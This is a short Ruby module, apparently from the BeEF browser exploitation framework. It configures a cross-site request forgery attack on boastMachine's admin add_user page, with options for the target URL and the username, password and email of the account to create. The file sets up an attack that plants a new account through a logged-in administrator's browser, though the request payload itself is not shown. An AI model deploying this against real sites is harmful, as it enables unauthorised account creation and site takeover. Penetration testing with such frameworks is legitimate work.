class Boastmachine_add_user_csrf < BeEF::Core::Command
def self.options
[
{ 'name' => 'base', 'ui_label' => 'boastMachine URL', 'value' => 'http://target/bmc/admin.php?action=add_user&blog' },
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'username' },
{ 'name' => 'password', 'ui_label' => 'Password', 'value' => 'password' },
{ 'name' => 'email', 'ui_label' => 'E-mail Address', 'value' => '[email protected]' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end